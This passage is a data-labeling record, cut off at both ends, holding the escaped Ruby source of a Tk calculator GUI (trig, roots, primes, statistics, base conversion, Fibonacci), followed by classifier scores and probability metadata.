= \"Result: #{sin(input_var.value.to_f)}\"\n when 'cos'\n result_var.value = \"Result: #{cos(input_var.value.to_f)}\"\n when 'tan'\n result_var.value = \"Result: #{tan(input_var.value.to_f)}\"\n when '|x|'\n result_var.value = \"Result: #{absolute(input_var.value.to_f)}\"\n when 'FtoC'\n result_var.value = \"Result: #{fahrenheit_to_celsius(input_var.value.to_f)}\"\n when 'SquareRoot'\n if input_var.value.to_f < 0\n result_var.value = \"Error: Square root of a negative number is not allowed\"\n else\n result_var.value = \"Result: #{squareRoot(input_var.value.to_f)}\"\n end\n when 'CubeRoot'\n result_var.value = \"Result: #{cubeRoot(input_var.value.to_f)}\"\n end\n end\n when 'Squares'\n command do\n dialog = TkToplevel.new\n dialog.title = \"Generate Squares\"\n\n TkLabel.new(dialog) { text \"Enter Starting Number\" }.pack\n start_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => start_num_var).pack\n\n TkLabel.new(dialog) { text \"Enter Ending Number\" }.pack\n end_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => end_num_var).pack\n\n TkButton.new(dialog) do\n text \"Save and Generate Squares\"\n command do\n file_path = Tk.getSaveFile(\n 'title' => 'Save squares to file',\n 'defaultextension' => '.txt',\n 'filetypes' => [['Text Files', '*.txt'], ['All Files', '*']]\n )\n if file_path\n generate_square_numbers(start_num_var.value.to_i, end_num_var.value.to_i, file_path)\n result_var.value = \"Square numbers generated and saved to #{file_path}\"\n end\n dialog.destroy\n end\n end.pack\n end\n when 'Evens'\n command do\n dialog = TkToplevel.new\n dialog.title = \"Generate Even Numbers\"\n\n TkLabel.new(dialog) { text \"Enter Starting Number\" }.pack\n start_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => start_num_var).pack\n\n TkLabel.new(dialog) { text \"Enter Ending Number\" }.pack\n end_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => end_num_var).pack\n\n TkButton.new(dialog) do\n text \"Save and Generate Evens\"\n command do\n file_path = Tk.getSaveFile(\n 'title' => 'Save evens to file',\n 'defaultextension' => '.txt',\n 'filetypes' => [['Text Files', '*.txt'], ['All Files', '*']]\n )\n\n if file_path\n generate_even_numbers(start_num_var.value.to_i, end_num_var.value.to_i, file_path)\n result_var.value = \"Even numbers generated and saved to #{file_path}\"\n end\n dialog.destroy\n end\n end.pack\n end\n #when odd button is clicked\n when 'Odds' \n command do\n dialog = TkToplevel.new\n dialog.title = \"Generate Odd Numbers\"\n\n TkLabel.new(dialog) { text \"Enter Starting Number\" }.pack\n start_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => start_num_var).pack\n\n TkLabel.new(dialog) { text \"Enter Ending Number\" }.pack\n end_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => end_num_var).pack\n\n TkButton.new(dialog) do\n text \"Save and Generate Odds\"\n command do\n file_path = Tk.getSaveFile(\n 'title' => 'Save odds to file',\n 'defaultextension' => '.txt',\n 'filetypes' => [['Text Files', '*.txt'], ['All Files', '*']]\n )\n if file_path\n generateOddNumbers(start_num_var.value.to_i, end_num_var.value.to_i, file_path)\n result_var.value = \"Odd numbers generated and saved to #{file_path}\"\n end\n dialog.destroy\n end\n end.pack\n end\n when 'Min'\n command do\n # Create a new dialog to prompt for dataset input\n dialog = TkToplevel.new\n dialog.title = \"Enter your dataset\"\n # Label and entry for dataset input\n TkLabel.new(dialog) { text \"Enter numbers separated by commas:\" }.pack\n dataset_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => dataset_var).pack\n # \"Next\" button to calculate the mode\n TkButton.new(dialog) do\n text \"Next\"\n command do\n dataset = dataset_var.value.split(',').map(&:to_i)\n min_value = minimum(dataset)\n # Show the result in a message box\n Tk.messageBox(\n 'type' => \"ok\",\n 'icon' => \"info\",\n 'title' => \"Minimum\",\n 'message' => \"The minimum of the dataset is: #{min_value}\"\n )\n end\n end.pack\n end\n when 'Max' # Max button command\n command do\n dialog = TkToplevel.new\n dialog.title = \"Find Maximum\"\n TkLabel.new(dialog) { text \"Enter Dataset (comma-separated)\" }.pack\n data_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => data_var).pack\n TkButton.new(dialog) do\n text \"Find Maximum\"\n command do\n data = data_var.value.split(',').map(&:to_f)\n max_value = maximum(data)\n result_var.value = \"Maximum: #{max_value}\"\n dialog.destroy\n end\n end.pack\n end\n when 'Modes'\n command do\n # Create a new dialog to prompt for dataset input\n dialog = TkToplevel.new\n dialog.title = \"Enter your dataset\"\n # Label and entry for dataset input\n TkLabel.new(dialog) { text \"Enter numbers separated by commas:\" }.pack\n dataset_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => dataset_var).pack\n # \"Next\" button to calculate the mode\n TkButton.new(dialog) do\n text \"Next\"\n command do\n dataset = dataset_var.value.split(',').map(&:to_i)\n # Show the result in a message box\n Tk.messageBox(\n 'type' => \"ok\",\n 'icon' => \"info\",\n 'title' => \"Mode Result\",\n 'message' => \"The mode of the dataset is: #{mode(dataset)}\"\n )\n end \n end.pack\n end\n # when 'Primes'\n when 'isPrime'\n command do\n result_var.value = \"Check is Prime: #{isPrime(input_var.value.to_i)}\"\n end\n when 'log(base,a)'\n command do\n dialog = TkToplevel.new\n dialog.title = \"Calculate log with base\"\n\n TkLabel.new(dialog) { text \"Enter Base Number\" }.pack\n start_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => start_num_var).pack\n\n TkLabel.new(dialog) { text \"Enter Second Number\" }.pack\n end_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => end_num_var).pack\n\n TkButton.new(dialog) do\n text \"Calculate\"\n command do\n result_var.value = \"#{log_with_base(end_num_var.value.to_f, start_num_var.value.to_f)}\"\n\n dialog.destroy\n end\n end.pack\n end\n when 'Primes'\n command do\n dialog = TkToplevel.new\n dialog.title = \"Generate Primes\"\n\n TkLabel.new(dialog) { text \"Enter Maximum Number\" }.pack\n max_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => max_num_var).pack\n # Button to save and generate prime numbers\n TkButton.new(dialog) do\n text \"Save and Generate Primes\"\n command do\n file_path = Tk.getSaveFile(\n 'title' => 'Save primes to file',\n 'defaultextension' => '.txt',\n 'filetypes' => [['Text Files', '*.txt'], ['All Files', '*']]\n )\n\n if file_path\n generate_primes(max_num_var.value.to_i, file_path)\n result_var.value = \"Prime numbers generated and saved to #{file_path}\"\n end\n dialog.destroy\n end\n end.pack\n end\n when 'Binary'\n command do\n result_var.value = \"Binary: #{to_binary(input_var.value.to_i)}\"\n end\n when 'Octal'\n command do\n result_var.value = \"Octal: #{to_octal(input_var.value.to_i)}\"\n end\n when 'Hexadecimal'\n command do\n result_var.value = \"Hexadecimal: #{to_hexadecimal(input_var.value.to_i)}\"\n end\n when 'Fibonacci'\n command do\n dialog = TkToplevel.new\n dialog.title = \"Generate Fibonacci sequence up to limit\"\n \n TkLabel.new(dialog) { text \"Enter Limit Number\" }.pack\n lim_num_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => lim_num_var).pack\n \n TkButton.new(dialog) do\n text \"Save and Generate Fibonacci\"\n command do\n file_path = Tk.getSaveFile(\n 'title' => 'Save Fibonacci to file',\n 'defaultextension' => '.txt',\n 'filetypes' => [['Text Files', '*.txt'], ['All Files', '*']]\n )\n \n if file_path\n fibonacci(lim_num_var.value.to_i, file_path)\n result_var.value = \"Fibonacci sequence generated and saved to #{file_path}\"\n end\n dialog.destroy\n end\n end.pack\n end\n when 'Median' # Median button command\n command do\n dialog = TkToplevel.new\n dialog.title = \"Calculate Median\"\n\n TkLabel.new(dialog) { text \"Enter Dataset (comma-separated)\" }.pack\n data_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => data_var).pack\n\n TkButton.new(dialog) do\n text \"Calculate Median\"\n command do\n data = data_var.value.split(',').map(&:to_f)\n median_value = median(data)\n result_var.value = \"Median: #{median_value}\"\n dialog.destroy\n end\n end.pack\n end\n when 'Mean' # Mean button command\n command do\n dialog = TkToplevel.new\n dialog.title = \"Calculate Mean\"\n\n TkLabel.new(dialog) { text \"Enter Dataset (comma-separated)\" }.pack\n data_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => data_var).pack\n\n TkButton.new(dialog) do\n text \"Calculate Mean\"\n command do\n data = data_var.value.split(',').map(&:to_f)\n mean_value = mean(data)\n result_var.value = \"Mean: #{mean_value}\"\n dialog.destroy\n end\n end.pack\n end\n when 'Factorial' \n command do\n dialog = TkToplevel.new\n dialog.title = \"Calculate Factorial\"\n\n TkLabel.new(dialog) { text \"Enter a Non-Negative Integer\" }.pack\n n_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => n_var).pack\n\n TkButton.new(dialog) do\n text \"Calculate Factorial\"\n command do\n n = n_var.value.to_i\n result_var.value = \"Factorial: #{factorial(n)}\"\n dialog.destroy\n end\n end.pack\n end\n when '%'\n command do\n dialog = TkToplevel.new\n dialog.title = \"Calculate Percentage\"\n\n TkLabel.new(dialog) { text \"Enter Value (a)\" }.pack\n a_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => a_var).pack\n\n TkLabel.new(dialog) { text \"Enter Value (b)\" }.pack\n b_var = TkVariable.new\n TkEntry.new(dialog, 'textvariable' => b_var).pack\n\n TkButton.new(dialog) do\n text \"Calculate Percentage\"\n command do\n a = a_var.value.to_f\n b = b_var.value.to_f\n result_var.value = \"Percentage: #{percentage(a, b)}%\"\n dialog.destroy\n end\n end.pack\n end\n else\n command { append_expression(input_var, char) }\n end\n end.pack('side' => 'left')\n end\nend\n\nTk.mainloop\n", "text_preview": "require 'tk' require_relative 'MathFunctions' require_relative 'Arithmetic' require_relative 'BuiltMathFunctions' require_relative 'MathFunctions2' require_relative 'MathFunctions4' require_relative 'SquareAndCubeRoots' require_relative 'Ma", "input_sha256": "4335a655facf0f68cdc9764c5e57177666f9d34784178cf622ebec3fca9f2ca5", "text_sha256": "a24cce47df0ed016b720425e38e9d5f46fc5dfcf3f65b3d3b5a86615612fedb0", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16092, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": {"main_topic": "Science, Mathematics & Engineering", "sub_topic": null}}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 2, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.403794806195305, "noise_severity": 0.11007334209447611, "missing_content_severity": 0.23968852987596984, "factual_density": 3.044593133050897, "pretraining_utility": 0.47581852758250504, "math_density": 2.5507778717862246, "code_density": 3.7188582073940624, "reasoning_density": 0.9234286653020829, "education_level": 1.8633195655481007, "creative_writing_quality": -0.41780603405285943}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "Science, Mathematics & Engineering"}, "review_reasons": ["secondary_topic probability 0.5420 below 0.70"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.023444390026826967, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9947656761847737, "secondary": 0.9389839499224185, "tertiary": 0.9634476612547596, "structured_records": 0.08881404085242048, "procedural_steps": 0.016274040626014948, "worked_solution": 0.00788695325624018, "contextual_dialogue": 4.804088455698469e-06, "content_quality": 0.34195578047918196, "noise_severity": 0.9082722149212699, "missing_content_severity": 0.8002595584366918, "factual_density": 0.2038276108757473, "pretraining_utility": 0.43823669149357203, "math_density": 0.11308697918718713, "code_density": 0.7657151728283852, "reasoning_density": 0.23047611224826403, "education_level": 0.7930023528368729, "creative_writing_quality": 0.9985875558250279, "primary_topic": 0.9576327811461661, "secondary_topic": 0.5237290032756109}, "probability_margin": {"primary": 0.9928560166334576, "secondary": 0.9168524509073813, "tertiary": 0.9538586343166077, "education_level": 0.6769378363052893, "creative_writing_quality": 0.9982605240738376, "primary_topic": 0.9228418095690755, "secondary_topic": 0.25871769641248255}, "raw_probabilities": {"primary": {"Academic Writing": 6.332207786006021e-05, "Content Listing": 3.6213238967369954e-05, "Creative Writing": 3.228658996546346e-05, "Customer Support Page": 1.2390189499780432e-05, "Q&A Forum": 1.570654640166323e-05, "Discussion Thread": 1.0631777724011587e-05, "Comment Section": 2.0337686641979954e-05, "Missing Content": 4.96322504815783e-05, "Knowledge Article": 8.07986536959287e-05, "Legal Notices": 2.730866166157547e-05, "News Article": 6.3066454773206016e-06, "Organizational Announcement": 1.417068198434458e-05, "Nonfiction Writing": 1.4805057710321466e-05, "Organizational About Page": 1.527437973833948e-05, "Personal About Page": 1.7294692341085186e-05, "Personal Blog": 1.1317301182618442e-05, "Product Page": 1.2410222329304077e-05, "Spam / Ads": 1.5460967197112115e-05, "Structured Data": 0.0006288970064389842, "Technical Writing": 0.9949837730104082, "Transcript / Interview": 1.924261312715607e-05, "Tutorial / How-To Guide": 0.0021277563769506167, "User Reviews": 1.0024039511011402e-05, "Other / Unknown": 0.0017746393327041396}, "secondary": {"Academic Writing": 0.0004969409653155705, "Content Listing": 0.0007160441675670572, "Creative Writing": 0.00034271353653885607, "Customer Support Page": 0.00018024899744463295, "Q&A Forum": 0.00012426687903239418, "Discussion Thread": 9.796846947997603e-05, "Comment Section": 0.0005558579135200798, "Missing Content": 0.0010029861471202797, "Knowledge Article": 0.0006712479037407863, "Legal Notices": 0.00020237616138079533, "News Article": 0.00015054989584402864, "Organizational Announcement": 0.00015318183602061608, "Nonfiction Writing": 0.00017388294701509106, "Organizational About Page": 0.0001694016731519789, "Personal About Page": 0.0001656026795755967, "Personal Blog": 0.00015742038609890146, "Product Page": 0.00010866844982814493, "Spam / Ads": 0.00017907857300571213, "Structured Data": 0.01851020350815896, "Technical Writing": 0.02467383443493646, "Transcript / Interview": 0.00021611518201055402, "Tutorial / How-To Guide": 0.009337707748077564, "User Reviews": 8.741620281825802e-05, "NONE": 0.9415262853423177}, "tertiary": {"Academic Writing": 0.00024717454998628515, "Content Listing": 0.0005987071941332832, "Creative Writing": 0.00020500403105784093, "Customer Support Page": 0.00011071759134082557, "Q&A Forum": 5.82207333145528e-05, "Discussion Thread": 6.681568109937708e-05, "Comment Section": 0.0007259281954935296, "Missing Content": 0.002222713365948986, "Knowledge Article": 0.000573207028828808, "Legal Notices": 0.0002031576206993099, "News Article": 8.66807853877027e-05, "Organizational Announcement": 8.124541699916641e-05, "Nonfiction Writing": 0.0001118532792717408, "Organizational About Page": 0.0001204116835219432, "Personal About Page": 9.430544736651173e-05, "Personal Blog": 8.387384160119402e-05, "Product Page": 7.319298096371046e-05, "Spam / Ads": 0.00010495715086562424, "Structured Data": 0.01111204105253696, "Technical Writing": 0.010379067541904997, "Transcript / Interview": 0.00010892708582561263, "Tutorial / How-To Guide": 0.007606469021038668, "User Reviews": 5.465335166868967e-05, "NONE": 0.9649706753691446}, "structured_records": {"false": 0.9111859591475795, "true": 0.08881404085242048}, "procedural_steps": {"false": 0.9837259593739851, "true": 0.016274040626014948}, "worked_solution": {"false": 0.9921130467437598, "true": 0.00788695325624018}, "contextual_dialogue": {"false": 0.9999951959115443, "true": 4.804088455698469e-06}, "content_quality": {"-2": 0.023200021742461597, "-1": 0.13348157250707707, "0": 0.35636591837329945, "1": 0.39022855256701855, "2": 0.09672393481014335}, "noise_severity": {"0": 0.9134247523480703, "1": 0.0677577542392519, "2": 0.015395039813387417, "3": 0.002164306168711541, "4": 0.001258147430578684}, "missing_content_severity": {"0": 0.8844743535656148, "1": 0.01971705122034904, "2": 0.06921695906394301, "3": 0.024828984072637554, "4": 0.001762652077455515}, "factual_density": {"0": 0.019925929939920674, "1": 0.04524107340937455, "2": 0.18552376984360597, "3": 0.36893238727408484, "4": 0.380376839533014}, "pretraining_utility": {"-2": 0.010896701027434594, "-1": 0.08482981316332923, "0": 0.396798991903642, "1": 0.4325072450104848, "2": 0.07496724889510928}, "math_density": {"0": 0.06473760506029082, "1": 0.127283666473994, "2": 0.2717205869201166, "3": 0.2649795347103971, "4": 0.2712786068352014}, "code_density": {"0": 0.0003270332288715941, "1": 0.0006490306304998129, "2": 0.02835714647665716, "3": 0.22117227484563765, "4": 0.7494945148183338}, "reasoning_density": {"0": 0.5836619472508647, "1": 0.1158547892834775, "2": 0.1518914069374919, "3": 0.09057636396904215, "4": 0.05801549255912384}, "education_level": {"none": 0.0015074873989776286, "0": 0.0026574080214754273, "1": 0.15056412439210484, "2": 0.8275019606973941, "3": 0.01613348896431659, "4": 0.0016355305257314532}, "creative_writing_quality": {"not_applicable": 0.9988229631875233, "-2": 0.0001702620131173697, "-1": 0.0003155683578436859, "0": 0.0005624391136856479, "1": 9.321535413643835e-05, "2": 3.5551973693459464e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.970419820331128e-05, "Art & Design": 0.0004916269947025973, "Law & Crime": 9.231448666184159e-05, "Education & Careers": 0.00010629158220411745, "Entertainment & Media": 6.966429133166894e-05, "Fashion & Beauty": 7.073742551231639e-05, "Business, Economics & Finance": 0.00012813804592050871, "Food & Dining": 6.372828599174946e-05, "Games & Gaming": 0.0001425372753533689, "Electronics & Hardware": 0.00014922777814505166, "Health, Healthcare & Wellness": 8.183568464914823e-05, "History & Geography": 8.848116935701823e-05, "Home, Pets & Hobbies": 6.830279057430671e-05, "Industry & Production": 5.756464964523111e-05, "Language, Literature & Philosophy": 6.676196208484406e-05, "Politics & Government": 3.520618709409277e-05, "Religion & Spirituality": 6.006854947893024e-05, "Science, Mathematics & Engineering": 0.036420479994545736, "Relationships & Community": 3.5329051323934747e-05, "Software Usage & Applications": 0.0018965472740296349, "Programming & Software Engineering": 0.9592622895636213, "Sports & Fitness": 0.00010370376077156103, "Vehicles & Transportation": 4.921164695888537e-05, "Travel & Tourism": 7.527522150863399e-05, "Other / Uncovered Subject": 0.00022944666663913068, "Unknown / Insufficient Content": 8.552546369104353e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009376811028998901, "Art & Design": 0.04088986297571979, "Law & Crime": 0.0006992799150705676, "Education & Careers": 0.0009396460208132353, "Entertainment & Media": 0.0004958121684288889, "Fashion & Beauty": 0.0004217483034298758, "Business, Economics & Finance": 0.0006901668104144995, "Food & Dining": 0.0003863976878619478, "Games & Gaming": 0.000551206685001795, "Electronics & Hardware": 0.0008533910536971537, "Health, Healthcare & Wellness": 0.0005667998549917048, "History & Geography": 0.0005663735274024194, "Home, Pets & Hobbies": 0.00040070136136215217, "Industry & Production": 0.00043941649046273085, "Language, Literature & Philosophy": 0.00028467848261906723, "Politics & Government": 0.00027777711131947257, "Religion & Spirituality": 0.00039673730457650316, "Science, Mathematics & Engineering": 0.5420471185342413, "Relationships & Community": 0.00020570980476240563, "Software Usage & Applications": 0.005957908302957084, "Programming & Software Engineering": 0.11675664110426569, "Sports & Fitness": 0.0004004137142931535, "Vehicles & Transportation": 0.0003075773271227985, "Travel & Tourism": 0.000512897961150295, "Other / Uncovered Subject": 0.0006846342733770137, "NONE": 0.2833294221217587}}, "probabilities": {"primary": {"Academic Writing": 6.332207786006021e-05, "Content Listing": 3.6213238967369954e-05, "Creative Writing": 3.228658996546346e-05, "Customer Support Page": 1.2390189499780432e-05, "Q&A Forum": 1.570654640166323e-05, "Discussion Thread": 1.0631777724011587e-05, "Comment Section": 2.0337686641979954e-05, "Missing Content": 4.96322504815783e-05, "Knowledge Article": 8.07986536959287e-05, "Legal Notices": 2.730866166157547e-05, "News Article": 6.3066454773206016e-06, "Organizational Announcement": 1.417068198434458e-05, "Nonfiction Writing": 1.4805057710321466e-05, "Organizational About Page": 1.527437973833948e-05, "Personal About Page": 1.7294692341085186e-05, "Personal Blog": 1.1317301182618442e-05, "Product Page": 1.2410222329304077e-05, "Spam / Ads": 1.5460967197112115e-05, "Structured Data": 0.0006288970064389842, "Technical Writing": 0.9949837730104082, "Transcript / Interview": 1.924261312715607e-05, "Tutorial / How-To Guide": 0.0021277563769506167, "User Reviews": 1.0024039511011402e-05, "Other / Unknown": 0.0017746393327041396}, "secondary": {"Academic Writing": 0.0004969409653155705, "Content Listing": 0.0007160441675670572, "Creative Writing": 0.00034271353653885607, "Customer Support Page": 0.00018024899744463295, "Q&A Forum": 0.00012426687903239418, "Discussion Thread": 9.796846947997603e-05, "Comment Section": 0.0005558579135200798, "Missing Content": 0.0010029861471202797, "Knowledge Article": 0.0006712479037407863, "Legal Notices": 0.00020237616138079533, "News Article": 0.00015054989584402864, "Organizational Announcement": 0.00015318183602061608, "Nonfiction Writing": 0.00017388294701509106, "Organizational About Page": 0.0001694016731519789, "Personal About Page": 0.0001656026795755967, "Personal Blog": 0.00015742038609890146, "Product Page": 0.00010866844982814493, "Spam / Ads": 0.00017907857300571213, "Structured Data": 0.01851020350815896, "Technical Writing": 0.02467383443493646, "Transcript / Interview": 0.00021611518201055402, "Tutorial / How-To Guide": 0.009337707748077564, "User Reviews": 8.741620281825802e-05, "NONE": 0.9415262853423177}, "tertiary": {"Academic Writing": 0.0002471745499862852, "Content Listing": 0.0005987071941332833, "Creative Writing": 0.00020500403105784096, "Customer Support Page": 0.00011071759134082558, "Q&A Forum": 5.822073331455281e-05, "Discussion Thread": 6.68156810993771e-05, "Comment Section": 0.0007259281954935297, "Missing Content": 0.0022227133659489863, "Knowledge Article": 0.0005732070288288081, "Legal Notices": 0.00020315762069930994, "News Article": 8.668078538770271e-05, "Organizational Announcement": 8.124541699916642e-05, "Nonfiction Writing": 0.00011185327927174081, "Organizational About Page": 0.00012041168352194321, "Personal About Page": 9.430544736651174e-05, "Personal Blog": 8.387384160119404e-05, "Product Page": 7.319298096371048e-05, "Spam / Ads": 0.00010495715086562425, "Structured Data": 0.011112041052536962, "Technical Writing": 0.010379067541904999, "Transcript / Interview": 0.00010892708582561264, "Tutorial / How-To Guide": 0.0076064690210386685, "User Reviews": 5.465335166868968e-05, "NONE": 0.9649706753691447}, "structured_records": {"false": 0.9111859591475795, "true": 0.08881404085242048}, "procedural_steps": {"false": 0.9837259593739851, "true": 0.016274040626014948}, "worked_solution": {"false": 0.9921130467437598, "true": 0.00788695325624018}, "contextual_dialogue": {"false": 0.9999951959115443, "true": 4.804088455698469e-06}, "content_quality": {"-2": 0.023200021742461597, "-1": 0.13348157250707707, "0": 0.35636591837329945, "1": 0.39022855256701855, "2": 0.09672393481014335}, "noise_severity": {"0": 0.9134247523480704, "1": 0.06775775423925191, "2": 0.01539503981338742, "3": 0.0021643061687115412, "4": 0.0012581474305786843}, "missing_content_severity": {"0": 0.8844743535656149, "1": 0.019717051220349044, "2": 0.06921695906394303, "3": 0.024828984072637558, "4": 0.0017626520774555153}, "factual_density": {"0": 0.019925929939920674, "1": 0.04524107340937455, "2": 0.18552376984360597, "3": 0.36893238727408484, "4": 0.380376839533014}, "pretraining_utility": {"-2": 0.010896701027434596, "-1": 0.08482981316332924, "0": 0.39679899190364204, "1": 0.4325072450104849, "2": 0.07496724889510929}, "math_density": {"0": 0.06473760506029083, "1": 0.12728366647399403, "2": 0.27172058692011664, "3": 0.26497953471039715, "4": 0.27127860683520144}, "code_density": {"0": 0.0003270332288715941, "1": 0.0006490306304998129, "2": 0.02835714647665716, "3": 0.22117227484563765, "4": 0.7494945148183338}, "reasoning_density": {"0": 0.5836619472508646, "1": 0.11585478928347748, "2": 0.15189140693749187, "3": 0.09057636396904213, "4": 0.058015492559123825}, "education_level": {"none": 0.0015074873989776286, "0": 0.0026574080214754273, "1": 0.15056412439210484, "2": 0.8275019606973941, "3": 0.01613348896431659, "4": 0.0016355305257314532}, "creative_writing_quality": {"not_applicable": 0.9988229631875234, "-2": 0.00017026201311736973, "-1": 0.00031556835784368596, "0": 0.000562439113685648, "1": 9.321535413643836e-05, "2": 3.555197369345947e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.970419820331129e-05, "Art & Design": 0.0004916269947025974, "Law & Crime": 9.23144866618416e-05, "Education & Careers": 0.00010629158220411747, "Entertainment & Media": 6.966429133166896e-05, "Fashion & Beauty": 7.07374255123164e-05, "Business, Economics & Finance": 0.00012813804592050874, "Food & Dining": 6.372828599174947e-05, "Games & Gaming": 0.00014253727535336894, "Electronics & Hardware": 0.0001492277781450517, "Health, Healthcare & Wellness": 8.183568464914824e-05, "History & Geography": 8.848116935701825e-05, "Home, Pets & Hobbies": 6.830279057430673e-05, "Industry & Production": 5.756464964523112e-05, "Language, Literature & Philosophy": 6.676196208484408e-05, "Politics & Government": 3.5206187094092776e-05, "Religion & Spirituality": 6.0068549478930247e-05, "Science, Mathematics & Engineering": 0.03642047999454574, "Relationships & Community": 3.532905132393475e-05, "Software Usage & Applications": 0.001896547274029635, "Programming & Software Engineering": 0.9592622895636214, "Sports & Fitness": 0.00010370376077156104, "Vehicles & Transportation": 4.921164695888538e-05, "Travel & Tourism": 7.5275221508634e-05, "Other / Uncovered Subject": 0.0002294466666391307, "Unknown / Insufficient Content": 8.552546369104355e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009376811028998901, "Art & Design": 0.04088986297571979, "Law & Crime": 0.0006992799150705676, "Education & Careers": 0.0009396460208132353, "Entertainment & Media": 0.0004958121684288889, "Fashion & Beauty": 0.0004217483034298758, "Business, Economics & Finance": 0.0006901668104144995, "Food & Dining": 0.0003863976878619478, "Games & Gaming": 0.000551206685001795, "Electronics & Hardware": 0.0008533910536971537, "Health, Healthcare & Wellness": 0.0005667998549917048, "History & Geography": 0.0005663735274024194, "Home, Pets & Hobbies": 0.00040070136136215217, "Industry & Production": 0.00043941649046273085, "Language, Literature & Philosophy": 0.00028467848261906723, "Politics & Government": 0.00027777711131947257, "Religion & Spirituality": 0.00039673730457650316, "Science, Mathematics & Engineering": 0.5420471185342413, "Relationships & Community": 0.00020570980476240563, "Software Usage & Applications": 0.005957908302957084, "Programming & Software Engineering": 0.11675664110426569, "Sports & Fitness": 0.0004004137142931535, "Vehicles & Transportation": 0.0003075773271227985, "Travel & Tourism": 0.000512897961150295, "Other / Uncovered Subject": 0.0006846342733770137, "NONE": 0.2833294221217587}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12840, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, 